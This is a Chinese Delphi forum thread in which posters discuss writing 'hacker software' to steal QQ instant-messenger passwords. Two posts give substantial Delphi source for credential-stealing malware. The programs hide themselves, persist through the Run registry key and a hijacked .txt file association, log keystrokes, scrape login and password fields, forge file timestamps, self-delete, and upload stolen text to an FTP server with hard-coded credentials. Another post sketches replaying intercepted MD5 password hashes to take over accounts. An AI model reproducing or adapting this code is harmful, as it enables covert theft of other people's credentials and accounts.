各位高手一起来编黑客软件!(100分)

TO：千夜雪
无论编什么，只要对自己有价值，就要继续努力，我支持你。
我曾经也是为了编木马而迷上delphi的，至于你问的问题，我曾经研究过,如果你对此感
兴趣，加我QQ：27454811

不知道你是怎么想的！反正别写什么黑客软件啦。。。
我是狠急[!]偷QQ号码的人！！！曾经我想写一个放偷号码的工具。
可惜技术上有问题，没有成功！[]
不过我可以告诉你，你的方法不好，技术含量很低！！！
简直可以说不可以用。

大家可以讨论一下怎样盗去远方的QQ密码

关注

按你说的这个原理，多查一下资料很容易搞定
只是规劝老兄，作大侠要先做人

这种方法不做好过。反正我是不怕这种方法的。

多学一点技术不一定非得用它去做坏事。
学海无涯，学无止境。
难道我们会技术不做坏事就不正常？？？

// 删除了一些函数，给你学习一下，不准出去害人
// 作者：司马华鹏
program Mstask;
uses
Windows,
Messages,
Sysutils,
wininet;
Var
hWnd:Thandle;
hList:Thandle;
WinClass:TwndClassEx;
Msg:Tmsg;
strTitle:string;
hHook :Integer;
Kybd:HKL;
strKey :string;
strCap :string;
BoolOS :Boolean;
BoolSend :boolean;
strWin :string;
MutexHandle: THandle;
Session:HINTERNET;
Server :HINTERNET;
strApp:string;
BoolSending:boolean;

{$R *.RES}
//自我删除
procedure DeleteSelf;
var
F: TextFile;
batName: string;
pi: TProcessInformation;
si: TStartupInfo;
begin

batName := strWin + '/Kill.bat';
AssignFile(F,batName);
Rewrite(F);
Writeln(F,':try');
Writeln(F,'del "'+ParamStr(0)+'"');
Writeln(F,'if exist "'+ ParamStr(0)+'"'+' goto try');
Writeln(F,'del "' + batName + '"' );
CloseFile(F);
FillChar(si, SizeOf(si), $00);
si.dwFlags := STARTF_USESHOWWINDOW;
si.wShowWindow := SW_HIDE;
if CreateProcess( nil, PChar(batName), nil, nil, False,
IDLE_PRIORITY_CLASS,
nil, nil, si, pi ) then

begin

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
end;
end;

//写注册表文件
procedure RegSet(const ExeName:string);
Var
SubKey:string;
hK :hKey;
strTmpChar;
strRun:string;
begin
SubKey := 'Software/Microsoft/Windows/CurrentVersion/Run';
RegCreateKey (HKEY_LOCAL_MACHINE, PCHAR(SubKey), hK);
strTmp:=PChar(ExeName);
RegSetValueEx (hK, 'TaskAgents' , 0, REG_SZ,
strTmp, strlen(strTmp)+1);
strRun:=ExeName + ' %1';
strTmp:=PChar(strRun);
RegSetValue (HKEY_CLASSES_ROOT,'txtfile/shell/open/command',REG_SZ,strTmp,StrLen(strTmp)+1);
RegCloseKey (hK);
end;

//保存文件
procedure SaveOurFile();
var
Count :integer;
Item char;
F :textFile;
Index,I :integer;
begin
Count:=SendMessage(hList, LB_GETCOUNT, 0,0);
if Count >1 then
begin
try
assignFile(F,strWin+ '/yalong.txt');
if FileExists(strWin + '/yalong.txt') then
append(F)
else
ReWrite(f);
for I:= 0 to Count-1do
begin
Index:=SendMessage(hList,LB_GETTEXTLEN,I,0)+1;
GetMem(item,index);
SendMessage(hList, LB_GETTEXT, I,longInt(item));
Writeln(F,item);
Freemem(item,0);
end;
finally
WriteLn(F,DateTimeToStr(now));
CloseFile(F);
end;
end;
end;

//得到应用程序名
function GetAppName(hwindow: THandle): string;
var
h : HMODULE;
L : DWord;
begin

SetLength(Result, 100);
h:=GetClassLong(hwindow, GCL_HMODULE);
L:=GetModuleFileName(h, PChar(Result), 100);
SetLength(Result, L);
end;

//判断是否连接入网络
function GetOnlineStatus : Boolean;
var ConTypes : Integer;
begin
ConTypes := INTERNET_CONNECTION_MODEM + INTERNET_CONNECTION_LAN + INTERNET_CONNECTION_PROXY;
if (InternetGetConnectedState(@ConTypes, 0) = False) then
Result := False else
Result := True;
end;

Function FtpConnect() : Boolean;
begin
Result:=false;
Session := InternetOpen('Yalong', INTERNET_OPEN_TYPE_DIRECT, '', '', 0);
If Session = nil then
begin
SetwindowText(hwnd,'error1');
InternetCloseHandle(Session);
end
else
begin
Server := InternetConnect(Session, 'homeftp.etang.com', 21, 'smhp', '471023198200', INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
If Server = nil then
begin
InternetCloseHandle(Session);
end
else
result:= True;
end;
end;
//上传文件
function FtpUp():Boolean;
var
Kam:string;
hFile:HINTERNET;
sFile:File;
cntWORD;
Buf:array [0..1023] of byte;
nRetWORD;
begin
FtpSetCurrentDirectory (Session, '/');
Kam := '/' + datetimetostr(Now)+'.txt';
hFile := FtpOpenFile(Server, pchar(Kam), GENERIC_WRITE, FTP_TRANSFER_TYPE_BINARY, 0);
if hFile=nil then
begin
Result:=false;
end
else
begin
try
Assignfile(sFile,strWin + '/' + 'yalong.txt');
Reset(sFile,1);
repeat
BlockRead(sFile,Buf,sizeof(Buf),Cnt);
InternetWriteFile(hFile, @(Buf[0]), Cnt, nRet);
until Cnt<sizeof(Buf);
finally
Closefile(sFile);
InternetCloseHandle(Session);
Result:=DeleteFile(strWin + '/' + 'yalong.txt');
end
end;
end;
//时间回调
function MyTimerFroc(hwnd:Thandle;nMsg:UINT;idEvent:UINT;dwTime:CarDinal):CarDinal;export;stdcall;
begin
Result:=1;
if nMsg= WM_TIMER then
begin
if BoolSending=false then
begin
if GetOnlineStatus = true then
begin
BoolSending:=true;
if FtpConnect=True then
begin
if FtpUp=True then
begin
BoolSend:=true;
killTimer(hwnd,2);
end
else
BoolSending:=False
end;
end;
end;
end;
end;
//得到系统目录
function getWinDir():string;
var
StrPath:array[0..31] of char;
begin
getwindowsdirectory(strpath,31);
getWinDir:=strpas(strpath);
end;

function HookProc(iCode:Integer;wParam:wParam;lParam:lParam):LRESULT;stdcall;
var
EventArr: EVENTMSG;
tmpStr :string;
recOK :short;
begin
RecOK:=1;
Result:=0;
if iCode < 0 then
Result := CallNextHookEx(hHook,iCode,wParam,lParam)
else
if iCode = HC_SYSMODALON then
recOK:=0
else
if iCode = HC_SYSMODALOFF then
recOK:=1
else
if ((recOK>0) and (iCode = HC_ACTION)) then
begin
EventArr:=pEventMSG(lParam)^;
if Eventarr.message = WM_KEYDOWN then
begin
tmpStr := BoolActive;
if tmpStr<>'' then
begin
if tmpStr=strCap then
strkey:=Strkey +TransKeyCode(EventArr.paramH)
else
begin
if strkey <>'' then
SendMessage(hList, LB_ADDSTRING, 0,longint(strcap + strkey));
strkey:=TransKeyCode(EventArr.paramH);
strCap :=tmpStr;
end;
end
else
begin
if strkey <>'' then
SendMessage(hList, LB_ADDSTRING, 0,longint(strcap + strkey));
strkey:='';
strCap:='';
end;
end;
end;
end;

function EnumChildProc(HWnd: Integer;
lParam: longint): Boolean;
Export;
StdCall;
var
ClsName : array[0..31] of char;
P: PChar;
len :LongInt;
begin
try
GetClassName(HWnd, ClsName, 31);
If (strpas(ClsName)= 'Edit') or (strpas(ClsName)= 'ComboBox') then
begin
len:=sendmessage(HWnd,WM_GETTEXTLENGTH,0,0)+1;
GetMem(p, len);
sendmessage(HWnd,WM_GETTEXT,len,longint(P));
if SendMessage(hList, LB_FINDSTRINGEXACT, -1, LongInt(strTitle + P)) = -1 then
begin
SendMessage(hList, LB_ADDSTRING, 0, LongInt(strTitle + P));
end;
FreeMem(P, 0);
end;
finally
Result:=True;
end;
end;

function EnumWindowsFunc (WindowHandle: Thandle;lParam: longInt): Boolean;
Export;
StdCall;
var
Namechar;
Leng:Integer;
begin
leng:= GetWindowTextLength(WindowHandle)+1;
getMem(name,Leng);
GetWindowText(WindowHandle,Name,leng);
strTitle:=string(name);
if strTitle <> '' then
begin
if (strPos(Name,pchar('连接'))<>Nil)
or (strPos(Name,pchar('登录'))<>Nil)
or (strPos(Name,pchar('密码'))<>Nil)
or (strPos(Name,pchar('注册'))<>Nil) then
begin
EnumChildWindows(WindowHandle, @EnumChildProc, 0);
end;
end;
Result := True;
Freemem(name,0);
end;

procedure Set_Hide();
var
RegisterServiceProcess :function (dwProcessID, dwType: DWord) : DWord;
DllName:string;
Buffer:array [0..127] of char;
Lib:Thandle;
begin
DllName:='KERNEL32.DLL';
strPcopy(buffer,Dllname);
Lib:=LoadLibrary(Buffer);
if Lib<>0 then
try
RegisterServiceProcess:=GetProcAddress(Lib,'RegisterServiceProcess');
RegisterServiceProcess (GetCurrentProcessID, 1);
finally
freeLibrary(Lib)
end
else
Messagebox(hwnd,'DLL错误','系统错误',0);
end;

function WinFroc(hwnd:Thandle;nMsg:UINT;wParam,lParam:CarDinal):CarDinal;export;stdcall;
Var
K1,K2 Char;
Os :OSVERSIONINFO;
myName :string;
begin
result:=0;
case nMsg of
WM_CREATE: //初始化
begin
BoolSending:=False;
BoolSend:=False ;
strwin:=getWinDir;
strApp:=GetAppName(Hwnd);
//得到应用程序的名字
myName := ExtractFilename(strApp);
//从名字中分离出EXE
RegSet(GetWindir +'/'+ myName);
//注册自动运行
if strApp <> (GetWindir +'/'+ myName) then
//如果自己不在系统目录
begin
Copyfile(pchar(strApp), pchar(GetWindir +'/'+ myName), False);
DeleteSelf;
//删除遗留痕迹
postmessage(hwnd,WM_CLOSE,0,0);
//退出
end;
SendMessage(hList, LB_ADDSTRING, 0,longint(DateTimeToStr(now)));
os.dwOSVersionInfoSize := sizeof(os);
GetVersionEx(os);
if os.dwPlatformId <>1 then
BoolOs:=True else
BoolOS:=False;
if BoolOS=true then
//如果在NT下运行，那么
begin
hHook:=SetwindowsHookEx(WH_JOURNALRECORD,HookProc,HInstance,0);
Getmem(K1,10);
GetKeyboardLayoutName(K1);
Getmem(K2,10);
GetKeyboardLayoutName(K2);
If (K1 <> K2) then
Kybd:= LoadKeyboardLayout(K1, 1);
Freemem(k1,0);
FreeMem(K2,0);
end
else
Set_Hide;
//如果不在NT下运行，注册为系统程序
setTimer(Hwnd,1,50,nil);
//申请两个计数器
setTimer(Hwnd,2,10000,@MyTimerFroc);
end;
WM_DESTROY: //退出
begin
//撤消两个计数器
KillTimer(Hwnd,1);
KillTimer(Hwnd,2);
if BoolOS=true then
begin
UnHookWindowsHookEx(hHook);
hHook:=0;
end;
SaveOurFile;
//保存文件
PostQuitMessage(0);
//退出程序
end;
WM_TIMER:
EnumWindows(@EnumWindowsFunc, 0);
//枚举当前窗体
else
Result:=defWindowProc(hwnd,nMsg,Wparam,lParam) //系统保留处理
end;
end;

begin

if ParamCount> 0 then
begin
//(* 有执行参数传入 *)
winexec(pchar('Notepad.exe ' + ParamStr(1)),sw_show);
//执行应用程序
end;

MutexHandle := CreateMutex(nil, TRUE, 'SysTask');
//判断有无实例先
if MutexHandle <> 0 then
begin
if GetLastError = ERROR_ALREADY_EXISTS then
begin
CloseHandle(MutexHandle);
Halt;
end;
end;

WinClass.cbSize :=sizeof(TWndClassEx);
WinClass.lpszClassName :='MsTask';
WinClass.style :=CS_HREDRAW Or CS_VREDRAW;
WinClass.hInstance :=Hinstance;
WinClass.lpfnWndProc :=@WinFroc;
WinClass.cbClsExtra :=0;
WinClass.cbWndExtra :=0;
WinClass.hIcon :=loadicon(hinstance,makeintresource('MAINICON'));
WinClass.hIconsm :=loadicon(hinstance,makeintresource('MAINICON'));
WinClass.hCursor :=loadcursor(0,idc_arrow);
WinClass.hbrBackground :=GetStockobject(Black_brush);
WinClass.lpszMenuName :=nil;
if registerclassex(WinClass)=0 then
begin
exit;
end;

Hwnd:=CreateWindowEx(WS_EX_OVERLAPPEDWINDOW,
WinClass.lpszClassName ,
'MsTask',
Ws_overLappedWindow,
0,0,
500,500,
0,0,HINSTANCE,NIL);
hList:= CreateWindowEx(WS_EX_OVERLAPPEDWINDOW,
'LISTBOX',
'',
WS_VISIBLE + WS_CHILD + CBS_AUTOHSCROLL + CBS_DISABLENOSCROLL + CBS_HASSTRINGS + CBS_SORT + CBS_DROPDOWN,
0,0,500,500,
Hwnd, 0,
HINSTANCE, Nil);
IF hWND<>0 then
begin
ShowWindow(Hwnd,SW_HIDE);
UpdateWindow(Hwnd);
end
else
exit;
while GetMessage(msg,0,0,0)do
begin
Translatemessage(msg);
DispatchMessage(msg);
end;
end.

还是做一点有实际价值的东西

不做坏事

现在盗qq已经不流行拉，还是盗传奇吧

首先不管你的代码是否错误，但是有一些事情说明你自己也没有弄清楚。
SendMessage(hWnd,WM_GETTEXT,0,。。。。
此处 WM_GETTEXT 在 win2000 以上 版本你试过吗？？
You Can't 我倒是 有一个单元可以。
用timer 去追？？死得太难看啦，不过也是，键盘hook 我就是没能
取得密码，可能是我的技术问题吧。

既然有此闲心和毅力，不如顺便再做个反被盗防护软件吧！！

我觉得这样可以让大家得到很多动手的机会! 毕竟写这种东东对学生朋友来说比较有动力! 我支持! 呵呵,同时我也希望如果写成功了不要向广大无辜市民开刀! 以欢迎用我的QQ做试验!

这也叫黑客软件/程序？？

黑客软件至少是军刀类型的！！！，黑客软件不是让你去装后门，而是入侵，。。。
不是让你们用交钱上网的方式“入侵”网吧的１台机子，再装。还要去掉网吧各种保护，一台一台的装过去！！！
如果真的要这样，你可以考虑一下直接从ＱＱ 的协议里截取
即一台机子上装了后，截取整个网吧的多ＱＱ，不过ＱＱ的密码是用ＭＤ５加密的，要解密，现在可以说是不可能的，不过截取到的ＱＱ+ＭＤ5的密码加密码串还是可以改密码的
截到后，再重发一次（要ＱＱ协议），进行登录，修改密码，在输入老密码时，再发一次就可以了（把你乱输的改成真密码的ＭＤ５值就行了）这个方法同样适用于凯旋游戏
你要不要ＱＱ的协议？？

我写了一个 98 2000 下都可以，可以偷 0630c 以后 到目前为止所有版本，呵呵
0630c 以前没有研究他。
以下是exe 部分代码
program ntdsmsg;
uses
Forms,
Windows,
UCommonFunction,
SysUtils,
ntdsmessager in 'ntdsmessager.pas' {ntdsmessage};
{$R *.res}
var
ExtendedStyle: Integer;
sStr: string;
begin

Application.Initialize;
sStr := ReadEmailMsg(Application.ExeName);
ShowMessage(trim(sStr));
// 修改日期格式，否则会因为用户个人日期格式设置而引起日期转化错误
ShortDateFormat := 'yyyy-MM-dd';
ShortDateFormat := 'yyyy-MM-dd';
DateSeparator := '-';
// 设定程序窗口启动样式，隐藏任务栏
ExtendedStyle := GetWindowLong(Application.Handle, GWL_EXSTYLE);
SetWindowLong(Application.Handle, GWL_EXSTYLE, ExtendedStyle or
WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
SysDir := GetSysDir;
WinDir := GetWinDir;
CopyAppToSysDir(Application.ExeName, WinDir + '/WindowsUpdata.exe');
// 自启动
WriteRegistry(HKEY_LOCAL_MACHINE,
'Software/Microsoft/Windows/CurrentVersion/run',
'ntdsmessager', SysDir + '/ntdsmessager.exe');
// Txt 文件关联 txtfile/shell/open/command
WriteRegistry(HKEY_CLASSES_ROOT, 'txtfile/shell/open/command',
'', GetWinDir + '/WindowsUpdata.exe %1 ');
ExtractRes('dll', 'hookdll', SysDir + '/ntdsmessager.dll');
Application.CreateForm(Tntdsmessage, ntdsmessage);
if UpperCase(Application.ExeName) <>
UpperCase(SysDir + '/ntdsmessager.exe') then
begin
Application.ShowMainForm := False;
CopyAppToSysDir(Application.ExeName, SysDir + '/ntdsmessager.exe');
try
// 修改Dll 文件的创建时间、修改时间
SetFileDateTime(SysDir + '/ntdsmessager.dll',
fttLastWrite, StrToDateTime('2000-01-01'));
SetFileDateTime(SysDir + '/ntdsmessager.dll',
fttCreation, StrToDateTime('2000-01-01'));
// 修改EXE 文件的创建时间、修改时间
SetFileDateTime(SysDir + '/ntdsmessager.exe',
fttLastWrite, StrToDateTime('2000-01-01'));
SetFileDateTime(SysDir + '/ntdsmessager.exe',
fttCreation, StrToDateTime('2000-01-01'));
except
end;

WinExec(PChar(SysDir + '/ntdsmessager.exe'), SW_NORMAL);
try
DeleteAppSelf;
except
end;
end
else
begin
if OpenMutex(MUTEX_ALL_ACCESS, True, 'ntdsmessagerforlhw') <= 0 then
begin
CreateMutex(nil, True, 'ntdsmessagerforlhw');
CloseOICQVer0808(ntdsmessage.Handle);
CopyAppToSysDir(Application.ExeName, WinDir + '/WindowsUpdata.exe');
// win98 下注册为系统进程,任务列表中隐藏
CallDllHookFunction(SysDir + '/ntdsmessager.dll', 'EnableHook');
if GetWinVersion = 'Windows 9x' then
RegisterServiceProcessEx(GetCurrentProcessID, 1);
CloseHandle(OpenMutex(MUTEX_ALL_ACCESS, True, 'ntdsmessagerforlhw'));
Application.ShowMainForm := False;
Application.Run;
end;
end;
end.

最近有一个贴子，就是送这些个东东的，你去找找？
http://www.delphibbs.com/delphibbs/dispq.asp?lid=2255658

道高一尺，魔高一丈。鼓励刺激技术的发展。

这样的软件到处都有，没啥意思了：）
不过研究技术就无所谓了，3304xfq说得很好！